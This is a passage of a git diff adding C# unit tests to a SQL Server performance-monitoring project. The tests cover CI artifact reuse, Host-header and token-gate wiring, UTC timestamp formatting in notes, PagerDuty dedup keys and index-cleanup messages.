+            Assert.Contains(project + "/obj/project.assets.json", upload, StringComparison.Ordinal);
+            /* Tests that read another project's build output through the repo layout (the first version failed both). */
+            Assert.Contains(
+                project == "Lite.Tests" ? "Lite/bin/**/PerformanceMonitorLite.runtimeconfig.json" : "Darling/PerformanceMonitor.Darling.Service/bin/Release",
+                upload,
+                StringComparison.Ordinal);
+            Assert.Contains("retention-days: 1\n", upload, StringComparison.Ordinal);
+            Assert.Contains("overwrite: true", upload, StringComparison.Ordinal);
+            Assert.Contains("if-no-files-found: error", upload, StringComparison.Ordinal);
+            Assert.Contains(
+                output + ": ${{ steps." + id + ".outcome == 'success' && '" + name + "' || '' }}",
+                job,
+                StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>
+    /// #5459 change 2, rulings 2 and 3, for the three jobs that build the same test projects the Guard job built. Each
+    /// fetches the artifact of THIS run (no run-id), fails with an error when its workspace or sha differs, skips its
+    /// restore and build and turns off the NuGet cache only when it used the artifact, and leaves Stage=Guard out of
+    /// the class listing it cuts from only then. Without the artifact it builds and runs every class, as before.
+    /// </summary>
+    [Theory]
+    [InlineData("darling-pg", "darling", "steps.filter.outputs.darling == 'true'", "Restore Darling.Tests", "Build Darling.Tests", "Run Darling PG tests")]
+    [InlineData("darling-tree-guards", "darling", "steps.gate.outputs.run == 'true'", "Restore Darling.Tests", "Build Darling.Tests", "Run the whole-tree guards")]
+    [InlineData("lite-tests", "lite", "steps.scope.outputs.run == 'true'", "Restore Lite.Tests", "Build Lite.Tests", "Run Lite tests (shard)")]
+    public void TheConsumers_UseTheGuardBuildOnlyForThisRunAndWorkspace_AndLeaveGuardOutOnlyThen(
+        string jobKey, string suite, string gate, string restoreStep, string buildStep, string runStep)
+    {
+        var job = JobBlock(Yaml(), jobKey);
+        Assert.Contains("needs: [gate, ", job.Split("\n    steps:\n")[0], StringComparison.Ordinal);
+        Assert.Contains("guard-tests", job.Split("\n    steps:\n")[0], StringComparison.Ordinal);
+
+        /* The fetch: this run's artifact, by the producer's output, nothing from another run; a miss is a notice. */
+        var fetch = Step(job, "Fetch the Guard job's build of the test project");
+        Assert.Contains("id: guard-build\n", fetch, StringComparison.Ordinal);
+        Assert.Contains($"if: {gate} && needs.guard-tests.outputs.{suite}_build_artifact != ''", fetch, StringComparison.Ordinal);
+        Assert.Contains("continue-on-error: true", fetch, StringComparison.Ordinal);
+        Assert.Contains("uses: actions/download-artifact@v6", fetch, StringComparison.Ordinal);
+        Assert.Contains($"name: ${{{{ needs.guard-tests.outputs.{suite}_build_artifact }}}}", fetch, StringComparison.Ordinal);
+        Assert.DoesNotContain("run-id", fetch, StringComparison.Ordinal);
+        Assert.DoesNotContain("github-token", fetch, StringComparison.Ordinal);
+
+        /* The check: a different workspace or sha is an error, no artifact is a notice and the old path. */
+        var check = Step(job, "Check the fetched build is for this workspace and commit");
+        Assert.Contains("id: guard-build-check\n", check, StringComparison.Ordinal);
+        Assert.Contains($"if: {gate}\n", check, StringComparison.Ordinal);
+        Assert.Contains("FETCH_OUTCOME: ${{ steps.guard-build.outcome }}", check, StringComparison.Ordinal);
+        Assert.Contains("THIS_WORKSPACE: ${{ github.workspace }}", check, StringComparison.Ordinal);
+        Assert.Contains("THIS_SHA: ${{ github.sha }}", check, StringComparison.Ordinal);
+        Assert.Contains("$origin['workspace'] -ne $env:THIS_WORKSPACE -or $origin['sha'] -ne $env:THIS_SHA", check, StringComparison.Ordinal);
+        Assert.Contains("::error title=Guard build is for another workspace or commit::", check, StringComparison.Ordinal);
+        Assert.Contains("::notice title=Building the test project here::", check, StringComparison.Ordinal);
+        Assert.Contains("'used=true'", check, StringComparison.Ordinal);
+        Assert.Contains("'used=false'", check, StringComparison.Ordinal);
+
+        /* Restore, build and the NuGet cache wait for the check and run only when the artifact was not used. */
+        const string notUsed = "steps.guard-build-check.outputs.used != 'true'";
+        Assert.Contains($"if: {gate} && {notUsed}\n", Step(job, restoreStep), StringComparison.Ordinal);
+        Assert.Contains($"if: {gate} && {notUsed}\n", Step(job, buildStep), StringComparison.Ordinal);
+        Assert.Contains($"cache: ${{{{ {notUsed} }}}}", Step(job, "Setup .NET 10.0"), StringComparison.Ordinal);
+        Assert.True(
+            job.IndexOf("- name: Check the fetched build", StringComparison.Ordinal) < job.IndexOf("- name: Setup .NET 10.0", StringComparison.Ordinal),
+            "the check has to come before setup-dotnet, whose cache input reads its output");
+
+        /* Guard is left out only through the one filter the check's output feeds; there is no literal exclusion. */
+        var step = Step(job, runStep);
+        Assert.Contains("GUARD_BUILD_USED: ${{ steps.guard-build-check.outputs.used }}", step, StringComparison.Ordinal);
+        /* #5616: the two shard jobs hand the flag to a shard script (run-darling-pg-shard.ps1, run-lite-shard.ps1) that holds
+           the listing, so the filter is read from the script; the tree-guards job keeps its listing inline. */
+        var run = step;
+        var filterLine = "$guardFilter = @(if ($env:GUARD_BUILD_USED -eq 'true') { '-trait-'; 'Stage=Guard' })";
+        if (jobKey != "darling-tree-guards")
+        {
+            Assert.Contains("-GuardBuildUsed $env:GUARD_BUILD_USED", step, StringComparison.Ordinal);
+            run = RepoFile.ReadRepoFileLf(".github", "scripts", jobKey == "darling-pg" ? "run-darling-pg-shard.ps1" : "run-lite-shard.ps1");
+            filterLine = "$guardFilter = @(if ($GuardBuildUsed -eq 'true') { '-trait-'; 'Stage=Guard' })";
+        }
+        Assert.Contains(filterLine, run, StringComparison.Ordinal);
+        Assert.Single(Regex.Matches(run, "'-trait-'"));
+        Assert.DoesNotContain("-trait- Stage=Guard", run, StringComparison.Ordinal);
+
+        if (jobKey == "darling-pg")
+        {
+            // The script's listing also takes the caller's -ScopeFilter (#5459: the build job runs part of the suite through
+            // it), after the Guard exclusion; the exclusion is still the listing's first filter.
+            Assert.Contains("-- -list classes/json @guardFilter @scopeFilter)", run, StringComparison.Ordinal);
+        }
+        else if (jobKey == "lite-tests")
+        {
+            /* Every listing, the Darling-reads one included, so the cut and the run agree. */
+            Assert.Contains("-- -list classes/json @guardFilter @filter)", run, StringComparison.Ordinal);
+        }
+        else
+        {
+            Assert.Contains("--no-build -- @guardFilter", run, StringComparison.Ordinal);
+        }
+    }
+
+    private static string Yaml() => RepoFile.ReadRepoFileLf(".github", "workflows", "build.yml");
+
+    /// <summary>One top-level job, from its key line to the next job's key line.</summary>
+    private static string JobBlock(string yaml, string key)
+    {
+        var at = yaml.IndexOf($"\n  {key}:\n", StringComparison.Ordinal);
+        Assert.True(at >= 0, $"build.yml has no job `{key}`");
+
+        var rest = yaml[(at + 1)..];
+        var next = Regex.Match(rest[(key.Length + 4)..], "\n  [A-Za-z0-9_-]+:\n");
+        return next.Success ? "\n" + rest[..(key.Length + 4 + next.Index)] : "\n" + rest;
+    }
+
+    /// <summary>One step of a job block, from its name line to the next step.</summary>
+    private static string Step(string job, string name)
+    {
+        var at = job.IndexOf($"- name: {name}\n", StringComparison.Ordinal);
+        Assert.True(at >= 0, $"the job has no step `{name}`");
+
+        var rest = job[at..];
+        var next = rest.IndexOf("\n      - ", 1, StringComparison.Ordinal);
+        return next < 0 ? rest : rest[..next];
+    }
+
+    /// <summary>The quoted patterns of one dorny/paths-filter entry inside a job block.</summary>
+    private static List<string> FilterPatterns(string job, string filterName)
+    {
+        var at = job.IndexOf($"\n            {filterName}:\n", StringComparison.Ordinal);
+        if (at < 0)
+        {
+            return new List<string>();
+        }
+
+        var rest = job[(at + 1)..];
+        var next = Regex.Match(rest, "\n            [a-z_]+:\n");
+        var block = next.Success ? rest[..next.Index] : rest;
+
+        return Regex.Matches(block, @"^\s*-\s*'([^']+)'\s*$", RegexOptions.Multiline)
+            .Select(m => m.Groups[1].Value)
+            .ToList();
+    }
+}
diff --git a/Darling/Darling.Tests/HostHeaderGuardTests.cs b/Darling/Darling.Tests/HostHeaderGuardTests.cs
index 6514e0954f..ebadcc186e 100644
--- a/Darling/Darling.Tests/HostHeaderGuardTests.cs
+++ b/Darling/Darling.Tests/HostHeaderGuardTests.cs
@@ -30,6 +30,7 @@ namespace Darling.Tests;
 /// assert the guard is the FIRST <c>_app.Use</c> after <c>builder.Build()</c> and sits AHEAD of the
 /// <c>if (networkMode)</c> gates — i.e. it runs in loopback mode too, which is the mode that was exposed.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class HostHeaderGuardTests
 {
     /* ---------------- the pure decision, both modes ---------------- */
@@ -196,8 +197,10 @@ public void EachHost_RunsTheGuardInBothModes_NotOnlyWhenNetworkExposed(string fi
            AFTER TryStartServerAsync's own unrelated "if (networkMode)" (its post-start logging branch) —
            so the FIRST "if (networkMode)" after Build() is no longer necessarily the one that gates the
            auth middleware. Searching from the guard's own position finds the auth-gating conditional that
-           actually follows it in the same method, which is the invariant this test claims either way. */
-        var networkOnly = afterBuild.IndexOf("if (networkMode)", guard, StringComparison.Ordinal);
+           actually follows it in the same method, which is the invariant this test claims either way.
+           #5288: the prefix, not the whole condition, because the auth gate also installs on the loopback-only
+           server that network mode fell back to (if (networkMode || requireTokenWhenLoopbackOnly)). */
+        var networkOnly = afterBuild.IndexOf("if (networkMode", guard, StringComparison.Ordinal);
 
         Assert.True(networkOnly >= 0, "expected a network-mode-only middleware block to exist after the guard");
         Assert.True(
@@ -206,6 +209,60 @@ auth middleware. Searching from the guard's own position finds the auth-gating c
             "tokenless loopback bind is left unguarded, which is issue #1648.");
     }
 
+    /// <summary>
+    /// #5288: a start that network mode degraded out of after its token resolved (a refused TLS certificate) keeps the
+    /// token gate on the loopback-only server. The behavior is proven through <c>ConfigurePipeline</c> in
+    /// <c>DarlingMcpHostGateLiveTests</c> and <c>DarlingWebHostGateLiveTests</c>
+    /// (<c>TlsRefusal_DegradedLoopbackServer_StillRequiresTheToken</c>); this pins the host's own glue, which a
+    /// network-mode start cannot drive from a test: the flag is derived from the FINAL mode and the token local (set
+    /// only once the token resolved, so a start with no network block, or an unreadable token, leaves it false), after
+    /// the TLS decision, and is handed to the pipeline.
+    /// </summary>
+    [Theory]
+    [InlineData("DarlingMcpHostService.cs", "bearerToken")]
+    [InlineData("DarlingWebHostService.cs", "accessToken")]
+    public void TlsRefusal_TheHostHandsThePipelineTheTokenFlag_DerivedFromTheFinalMode(string fileName, string tokenLocal)
+    {
+        var source = ReadHostSource(fileName);
+
+        var tlsDecision = source.IndexOf("networkMode = tlsOutcome.Expose;", StringComparison.Ordinal);
+        var flag = source.IndexOf(
+            $"var requireTokenWhenLoopbackOnly = !networkMode && {tokenLocal}.Length > 0;", StringComparison.Ordinal);
+        var call = source.IndexOf("ConfigurePipeline(_app,", StringComparison.Ordinal);
+
+        Assert.True(
+            tlsDecision > 0 && flag > tlsDecision && call > flag,
+            $"{fileName}: the token flag must be derived after the TLS decision and before the pipeline call");
+
+        var callText = source[call..source.IndexOf(';', call)];
+        Assert.EndsWith(", requireTokenWhenLoopbackOnly)", callText, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #5288: a start that network mode degraded out of listens on loopback only, so its Host guard admits loopback
+    /// names only. The behavior is proven through <c>ConfigurePipeline</c> in <c>DarlingMcpHostGateLiveTests</c> and
+    /// <c>DarlingWebHostGateLiveTests</c> (<c>TlsRefusal_DegradedLoopbackServer_AdmitsLoopbackNamesOnly_NotTheListenAddress</c>),
+    /// which build the pipeline through <c>ResolveHostGuardListenIp</c> with the final mode; this pins the host's own
+    /// glue, which a network-mode start cannot drive from a test: the pipeline call hands over the resolver's answer,
+    /// decided after the TLS decision, and never the parsed address itself.
+    /// </summary>
+    [Theory]
+    [InlineData("DarlingMcpHostService.cs", "ResolveHostGuardListenIp(networkMode, networkListenIp)")]
+    [InlineData("DarlingWebHostService.cs", "DarlingMcpHostService.ResolveHostGuardListenIp(networkMode, networkListenIp)")]
+    public void TlsRefusal_TheHostHandsThePipelineTheGuardAddress_DecidedFromTheFinalMode(string fileName, string resolverCall)
+    {
+        var source = ReadHostSource(fileName);
+
+        var tlsDecision = source.IndexOf("networkMode = tlsOutcome.Expose;", StringComparison.Ordinal);
+        var call = source.IndexOf("ConfigurePipeline(_app,", StringComparison.Ordinal);
+        Assert.True(tlsDecision > 0 && call > tlsDecision, $"{fileName}: the pipeline call must come after the TLS decision");
+
+        var callText = source[call..source.IndexOf(';', call)];
+        Assert.Contains(resolverCall, callText, StringComparison.Ordinal);
+        Assert.DoesNotContain(
+            "networkListenIp", callText.Replace(resolverCall, string.Empty, StringComparison.Ordinal), StringComparison.Ordinal);
+    }
+
     /// <summary>And it must precede the endpoint mapping, or a request reaches a handler before being judged.</summary>
     [Fact]
     public void McpHost_RunsTheGuardBeforeMapMcp()
@@ -314,4 +371,48 @@ public void McpHost_KeepsTheTransportStatelessWhileCoreIsMapped()
             "options.Stateless = true must be set in the same WithHttpTransport block as ConfigureSessionOptions");
         Assert.False(source.Contains("Stateless = false", StringComparison.Ordinal), "the MCP transport must stay stateless while /core is mapped");
     }
+
+    /// <summary>
+    /// #5288, review F2: the MCP host's extra Host name (<c>mcp.network.hostName</c>) is admitted in NETWORK mode
+    /// only. The rule lives in <c>ResolveAllowedHostName</c>, so the wiring this pins is that
+    /// <c>TryStartServerAsync</c> hands <c>ConfigurePipeline</c> exactly that method's answer, decided from
+    /// <c>networkMode</c> after the last place it can change (nothing assigns it afterwards), and that the raw
+    /// config value is normalized nowhere else in the host. A call site that passed the config value straight
+    /// through would admit the name on the tokenless loopback surface while every behavioral test of the helper
+    /// stayed green, because the live gate test builds its own pipeline through the helper and cannot see this.
+    /// </summary>
+    [Fact]
+    public void McpHost_HostNameReachesThePipeline_OnlyThroughTheNetworkModeGate()
+    {
+        var source = ReadHostSource("DarlingMcpHostService.cs");
+
+        var build = source.IndexOf("_app = builder.Build();", StringComparison.Ordinal);
+        var callStart = source.IndexOf("ConfigurePipeline(_app,", StringComparison.Ordinal);
+        Assert.True(build >= 0 && callStart > build, "ConfigurePipeline is no longer called after Build() - this test needs rewriting");
+
+        var call = source[callStart..source.IndexOf(';', callStart)];
+        Assert.EndsWith(", allowedHostName, requireTokenWhenLoopbackOnly)", call, StringComparison.Ordinal);
+
+        var decision = System.Text.RegularExpressions.Regex.Match(
+            source[build..callStart],
+            @"var allowedHostName = ResolveAllowedHostName\(\s*config\.Mcp\.Network\?\.HostName\s*,\s*networkMode\s*,");
+        Assert.True(
+            decision.Success,
+            "the name must be decided by ResolveAllowedHostName(config.Mcp.Network?.HostName, networkMode, ...) between Build() and the ConfigurePipeline call");
+
+        // networkMode is final by the decision: no assignment to it follows.
+        Assert.DoesNotMatch(@"\bnetworkMode\s*=[^=]", source[(build + decision.Index)..]);
+
+        // The raw value is normalized in one place: that one call sits inside the host's NormalizedHostName wrapper,
+        // which the Host guard's name (ResolveAllowedHostName) and the certificate's name check both read. A second
+        // McpNetworkConfig.NormalizeHostName call anywhere in the host could make the two disagree.
+        var normalizeCalls = System.Text.RegularExpressions.Regex.Matches(source, @"McpNetworkConfig\.NormalizeHostName\(").Count;
+        Assert.Equal(1, normalizeCalls);
+
+        // And the guard admits exactly what the pipeline was handed.
+        Assert.Contains(
+            "DarlingHostBinding.IsAllowedHost(context.Request.Host.Host, networkListenIp, admittedHostName)",
+            source,
+            StringComparison.Ordinal);
+    }
 }
diff --git a/Darling/Darling.Tests/HourlyAttributionSpanTests.cs b/Darling/Darling.Tests/HourlyAttributionSpanTests.cs
index b459ebb150..34e5ae4dad 100644
--- a/Darling/Darling.Tests/HourlyAttributionSpanTests.cs
+++ b/Darling/Darling.Tests/HourlyAttributionSpanTests.cs
@@ -31,6 +31,20 @@ public void Hourly_LateFirstBucketAndLowCeiling_UsesTheServedSpan()
         Assert.Contains("served span", note, StringComparison.Ordinal);
     }
 
+    /// <summary>#4966: the served span's two instants print as UTC with the Z, though the first bucket and the ceiling come off the store naive.</summary>
+    [Fact]
+    public void Hourly_TheServedSpanNote_NamesBothInstantsInUtc_WithTheZ()
+    {
+        var start = Day.AddHours(10).AddMinutes(37);
+        var asOf = Day.AddHours(20).AddMinutes(20);
+        var firstBucket = DateTime.SpecifyKind(Day.AddHours(13), DateTimeKind.Unspecified);
+        var ceiling = DateTime.SpecifyKind(Day.AddHours(18), DateTimeKind.Unspecified);
+
+        var (_, _, note) = DarlingMcpDataTools.HourlyAttributionSpan(true, start, asOf, firstBucket, ceiling);
+
+        Assert.Contains("the served span 2026-01-05T13:00:00.0000000Z to 2026-01-05T18:00:00.0000000Z.", note, StringComparison.Ordinal);
+    }
+
     [Fact]
     public void Hourly_ShareDividesByTheServedSpan_NotTheRequestedWindow()
     {
diff --git a/Darling/Darling.Tests/HourlyWindowEdgesTests.cs b/Darling/Darling.Tests/HourlyWindowEdgesTests.cs
index d1a263e34d..474916c223 100644
--- a/Darling/Darling.Tests/HourlyWindowEdgesTests.cs
+++ b/Darling/Darling.Tests/HourlyWindowEdgesTests.cs
@@ -7,6 +7,9 @@
  */
 
 using System;
+using System.Linq;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Common;
 using PerformanceMonitor.Darling.Storage;
 using Xunit;
 
@@ -17,13 +20,16 @@ public sealed class HourlyWindowEdgesTests
 {
     private static readonly DateTime Aligned = new(2026, 1, 5, 10, 0, 0, DateTimeKind.Unspecified);
 
+    /// <summary>#4966: an instant as the note prints it, UTC with the Z (<see cref="McpHelpers.FormatEffectiveStart"/>), whichever kind it came with.</summary>
+    private static string Z(DateTime instant) => McpHelpers.FormatEffectiveStart(instant);
+
     [Fact]
     public void UnalignedStart_NamesThePartialHour()
     {
         var note = HourlyWindowEdges.Note(Aligned.AddMinutes(37), Aligned.AddHours(1), Aligned.AddHours(4).AddMinutes(20), Aligned.AddHours(9));
-        Assert.Contains("no bucket before " + Aligned.AddHours(1).ToString("o") + ": the data from", note, StringComparison.Ordinal);
-        Assert.Contains(Aligned.AddMinutes(37).ToString("o"), note, StringComparison.Ordinal);
-        Assert.Contains(Aligned.AddHours(1).ToString("o"), note, StringComparison.Ordinal);
+        Assert.Contains("no bucket before " + Z(Aligned.AddHours(1)) + ": the data from", note, StringComparison.Ordinal);
+        Assert.Contains(Z(Aligned.AddMinutes(37)), note, StringComparison.Ordinal);
+        Assert.Contains(Z(Aligned.AddHours(1)), note, StringComparison.Ordinal);
     }
 
     [Fact]
@@ -38,7 +44,7 @@ public void UnalignedEnd_CountsTheWholeHourPastAsOf()
     {
         var end = Aligned.AddHours(4).AddMinutes(20);
         var note = HourlyWindowEdges.Note(Aligned, Aligned, end, Aligned.AddHours(9));
-        Assert.Contains("up to " + Aligned.AddHours(5).ToString("o"), note, StringComparison.Ordinal);
+        Assert.Contains("up to " + Z(Aligned.AddHours(5)), note, StringComparison.Ordinal);
     }
 
     /// <summary>The hourly reads stop BEFORE the window end (<c>bucket &lt; end</c>), so an end exactly on the
@@ -63,7 +69,7 @@ public void EndCutAtTheCeiling_SaysNothingAfterItWasRead()
         var end = Aligned.AddHours(4).AddMinutes(20);
         var ceiling = Aligned.AddHours(3);
         var note = HourlyWindowEdges.Note(Aligned, Aligned, end, ceiling);
-        Assert.Contains("the hourly rollup is materialized only to " + ceiling.ToString("o") + "; nothing after it was read", note, StringComparison.Ordinal);
+        Assert.Contains("the hourly rollup is materialized only to " + Z(ceiling) + "; nothing after it was read", note, StringComparison.Ordinal);
         Assert.DoesNotContain("included whole", note, StringComparison.Ordinal);
     }
 
@@ -80,9 +86,9 @@ public void CeilingPastAsOf_ServesTheWholeEndHourOnly()
     {
         var end = Aligned.AddHours(4).AddMinutes(20);
         var note = HourlyWindowEdges.Note(Aligned, Aligned, end, Aligned.AddHours(5).AddMinutes(30));
-        Assert.Contains("up to " + Aligned.AddHours(5).ToString("o"), note, StringComparison.Ordinal);
+        Assert.Contains("up to " + Z(Aligned.AddHours(5)), note, StringComparison.Ordinal);
         var low = HourlyWindowEdges.Note(Aligned, Aligned, end, Aligned.AddHours(5).AddMinutes(-30));
-        Assert.Contains("up to " + Aligned.AddHours(5).AddMinutes(-30).ToString("o"), low, StringComparison.Ordinal);
+        Assert.Contains("up to " + Z(Aligned.AddHours(5).AddMinutes(-30)), low, StringComparison.Ordinal);
     }
 
     [Fact]
@@ -90,7 +96,29 @@ public void StartSnappedAndEndCut_NamesTheServedSpan()
     {
         var ceiling = Aligned.AddHours(3);
         var note = HourlyWindowEdges.Note(Aligned.AddMinutes(37), Aligned.AddHours(1), Aligned.AddHours(4).AddMinutes(20), ceiling);
-        Assert.Contains("served from " + Aligned.AddHours(1).ToString("o") + " to " + ceiling.ToString("o"), note, StringComparison.Ordinal);
+        Assert.Contains("served from " + Z(Aligned.AddHours(1)) + " to " + Z(ceiling), note, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #4966: every instant the note names is UTC with the Z, whichever kind it came with. The window's start and end
+    /// arrive UTC (the request's own) while the first bucket and the materialization ceiling come off the store naive, so
+    /// one sentence named some of its instants with the zone marker and some without.
+    /// </summary>
+    [Fact]
+    public void EveryInstantTheNoteNames_EndsInZ_WhetherItCameFromTheRequestOrTheStore()
+    {
+        var requestedStart = DateTime.SpecifyKind(Aligned.AddMinutes(37), DateTimeKind.Utc);
+        var requestedEnd = DateTime.SpecifyKind(Aligned.AddHours(4).AddMinutes(20), DateTimeKind.Utc);
+
+        var cutAtTheCeiling = HourlyWindowEdges.Note(requestedStart, Aligned.AddHours(1), requestedEnd, Aligned.AddHours(3));
+        var endHourIncluded = HourlyWindowEdges.Note(requestedStart, Aligned.AddHours(1), requestedEnd, Aligned.AddHours(9));
+
+        foreach (var note in new[] { cutAtTheCeiling, endHourIncluded })
+        {
+            var instants = Regex.Matches(note!, @"\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(\.\d+)?Z?").Select(m => m.Value).ToList();
+            Assert.True(instants.Count >= 3, note);
+            Assert.All(instants, instant => Assert.EndsWith("Z", instant, StringComparison.Ordinal));
+        }
     }
 
     [Fact]
diff --git a/Darling/Darling.Tests/HyperscaleLogSizeTests.cs b/Darling/Darling.Tests/HyperscaleLogSizeTests.cs
index ec1c022525..558309d057 100644
--- a/Darling/Darling.Tests/HyperscaleLogSizeTests.cs
+++ b/Darling/Darling.Tests/HyperscaleLogSizeTests.cs
@@ -227,7 +227,8 @@ public void GetDatabaseSizesPayload_NoLogServiceFile_HasNoNote_AndTheSameShapeAs
         var root = doc.RootElement;
 
         Assert.False(root.TryGetProperty("note", out _));
-        Assert.Equal(new[] { "server", "captured_at", "file_count", "databases" }, root.EnumerateObject().Select(p => p.Name).ToArray());
+        /* #5244: database_name (null for every database) is always written, right after server, in both apps. */
+        Assert.Equal(new[] { "server", "database_name", "captured_at", "file_count", "databases" }, root.EnumerateObject().Select(p => p.Name).ToArray());
         Assert.Equal(150d, root.GetProperty("databases")[0].GetProperty("total_size_mb").GetDouble());
     }
 
diff --git a/Darling/Darling.Tests/HypotheticalIndexSingleStatementGuardTests.cs b/Darling/Darling.Tests/HypotheticalIndexSingleStatementGuardTests.cs
index c77ae0bf4e..6110d8caf1 100644
--- a/Darling/Darling.Tests/HypotheticalIndexSingleStatementGuardTests.cs
+++ b/Darling/Darling.Tests/HypotheticalIndexSingleStatementGuardTests.cs
@@ -33,6 +33,7 @@ namespace Darling.Tests;
 /// rather than leaving a reader to take it on trust.
 /// </para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class HypotheticalIndexSingleStatementGuardTests
 {
     /// <summary>
diff --git a/Darling/Darling.Tests/IncidentDeliveryFilterTests.cs b/Darling/Darling.Tests/IncidentDeliveryFilterTests.cs
index be72851f83..177d286f96 100644
--- a/Darling/Darling.Tests/IncidentDeliveryFilterTests.cs
+++ b/Darling/Darling.Tests/IncidentDeliveryFilterTests.cs
@@ -230,6 +230,69 @@ public void TheFilterMatchesOnTheFactNameTheRendererEmits()
         Assert.Contains(item.Fields, f => f.Label == AlertIncidentRenderer.DedupKeyFactName && f.Value == Stale);
     }
 
+    /* ─────────────── the per-replica identity survives the copies ─────────────── */
+
+    /// <summary>
+    /// The review's second finding, reproduced: a copy of an alert that drops
+    /// <see cref="AlertContext.AgReplicaIdentity"/> re-keys the AG pair per SERVER, because PagerDuty's key
+    /// is derived from the COPY the fan-out sends on (WebhookAlertService derives it from
+    /// <c>render.Context</c>, not from the caller's instance) — and a resolve that keys on the server is a
+    /// resolve of no replica's incident. This is the ROSTER copy: a stateless AG firing carrying a fold's
+    /// roster takes WithRoster's explicit copy, and the identity must ride along.
+    /// </summary>
+    [Fact]
+    public void AnAgReplicaIdentity_SurvivesTheRosterAppendedCopy()
+    {
+        var context = AgAlertContexts.ForReplica("OrdersAG", "REPLICA-A");
+
+        var render = IncidentDeliveryFilter.ForDelivery(
+            context, null, deliverableDedupKeys: null, aggregateRoster: RosterItem());
+
+        Assert.NotSame(context, render.Context);
+        Assert.Equal("OrdersAG:REPLICA-A", render.Context!.AgReplicaIdentity);
+        Assert.Contains(
+            render.Context.Details, d => d.Heading == RepeatDeliveryBudget.RosterHeading);
+    }
+
+    /// <summary>
+    /// The same for the FILTERED copy: the AG pair cannot arrive in this shape from the shipped fire sites
+    /// (the state edge is stateless), but nothing in <see cref="IncidentDeliveryFilter.ForDelivery"/> knows
+    /// that — any context that carries both an identity and fingerprinted incidents (a future custom rule,
+    /// a merged artifact) walks this copy, so the identity hop is not conditional on today's shapes.
+    /// </summary>
+    [Fact]
+    public void AnAgReplicaIdentity_SurvivesTheFilteredRenderedCopy()
+    {
+        var context = AgAlertContexts.ForReplica("OrdersAG", "REPLICA-A");
+        AlertIncidentRenderer.Apply(context, Incidents());
+
+        var render = IncidentDeliveryFilter.ForDelivery(context, null, new[] { Fresh });
+
+        Assert.NotSame(context, render.Context);
+        Assert.Equal(1, render.SuppressedIncidentCount);
+        Assert.Equal("OrdersAG:REPLICA-A", render.Context!.AgReplicaIdentity);
+    }
+
+    /// <summary>
+    /// The reason identity survival matters, at the pair the fan-out actually forms: derive the PagerDuty
+    /// key from the ROSTER-CARRYING render — the shaped-end-to-end half of the repro (render, then the
+    /// key that leaves on it) without a socket. With the identity dropped, this key becomes the per-server
+    /// fallback ("13:AG Replica Disconnected") and the reconnect resolves no replica's incident.
+    /// </summary>
+    [Fact]
+    public void TheReplicaScopedPagerDutyKey_SurvivesTheFoldedRender()
+    {
+        var context = AgAlertContexts.ForReplica("OrdersAG", "REPLICA-A");
+
+        var render = IncidentDeliveryFilter.ForDelivery(
+            context, null, deliverableDedupKeys: null, aggregateRoster: RosterItem());
+
+        Assert.Equal(
+            "13:AG Replica Disconnected:OrdersAG:REPLICA-A",
+            WebhookAlertService.DerivePagerDutyDedupKey(
+                "13", "AG Replica Disconnected", render.Context, autoResolve: true));
+    }
+
     /* ─────────────── the wire ─────────────── */
 
     /// <summary>
@@ -385,6 +448,18 @@ private static AlertContext TwoIncidents()
         return context;
     }
 
+    /* The #3430 roster item a folded repeat leaves pending, built by hand in the budget's own shape so
+       the press sites above exercise the roster press without staging a real fold. */
+    private static AlertDetailItem RosterItem() => new()
+    {
+        Heading = RepeatDeliveryBudget.RosterHeading,
+        Fields = new()
+        {
+            (RepeatDeliveryBudget.RosterCountFactName, "1"),
+            (RepeatDeliveryBudget.RosterListFactName, "PROD02")
+        }
+    };
+
     /* The engine's own shape: DetailText is ContextToDetailText of the context, which is what makes
        ProseForDelivery recognise it as a restatement and suppress it. */
     private static AlertOutcome Outcome(AlertContext context) => new(
diff --git a/Darling/Darling.Tests/IndexCleanupAnalyzerTests.cs b/Darling/Darling.Tests/IndexCleanupAnalyzerTests.cs
index b9f20a4bfb..3a9125caad 100644
--- a/Darling/Darling.Tests/IndexCleanupAnalyzerTests.cs
+++ b/Darling/Darling.Tests/IndexCleanupAnalyzerTests.cs
@@ -880,6 +880,45 @@ public void Notes_SurfaceOutOfScopeRules()
         Assert.Contains(r.Notes, n => n.Contains("Same Keys Different Order"));
     }
 
+    /// <summary>
+    /// The notes are the Index Analysis banner every user reads, so they say what is left out of the scripts and what to do about
+    /// it. They used to quote the proc's internals: "Stage 1 did not capture ...", "adversarial tests 9a/10a assert ...", "Rule
+    /// 7/7.5/7.5b reproduces the proc's LITERAL behavior ...". This input raises every conditional note too.
+    /// </summary>
+    [Fact]
+    public void Notes_AreInPlainWords_WithNoDeveloperJargon()
+    {
+        var keeper = Idx("IX_Keep", "[a]", indexId: 2, includes: "[b]", seeks: 10, scans: 5, partitionCount: 2);
+        var loser = Idx("IX_Drop", "[a]", indexId: 3, includes: "[c]", seeks: 10, partitionCount: 2);
+        var nc = Idx("nc_xy", "[x], [y]", indexId: 4, seeks: 10);
+        var uc = Idx("UC_xy", "[x], [y]", indexId: 5, uniqueConstraint: true);
+        var big = Idx("CX_Big", "[k]", indexId: 1, type: "CLUSTERED", compression: "NONE", reservedMb: 10240m, seeks: 10, objectId: 2, table: "Big");
+
+        var r = IndexCleanupAnalyzer.Analyze(new[] { keeper, loser, nc, uc, big }, Opts());
+
+        Assert.Contains(r.Recommendations, x => x.ScriptOmitsPartitionPlacement);
+        Assert.Contains(r.Recommendations, x => x.ResultKind == IndexCleanupResultKind.Compress);
+        Assert.Contains(r.Recommendations, x => x.ConsolidationRule == IndexCleanupRules.UniqueConstraintReplacement);
+
+        Assert.Contains(r.Notes, n => n.Contains("ON filegroup or partition scheme", StringComparison.Ordinal));
+        Assert.Contains(r.Notes, n => n.Contains("sparse", StringComparison.Ordinal));
+        Assert.Contains(r.Notes, n => n.Contains("20% to 60%", StringComparison.Ordinal));
+        Assert.Contains(r.Notes, n => n.Contains("PARTITION = ALL", StringComparison.Ordinal));
+        Assert.Contains(r.Notes, n => n.Contains("Reverse Duplicate", StringComparison.Ordinal));
+        Assert.Contains(r.Notes, n => n.Contains("rebuilt as UNIQUE", StringComparison.Ordinal));
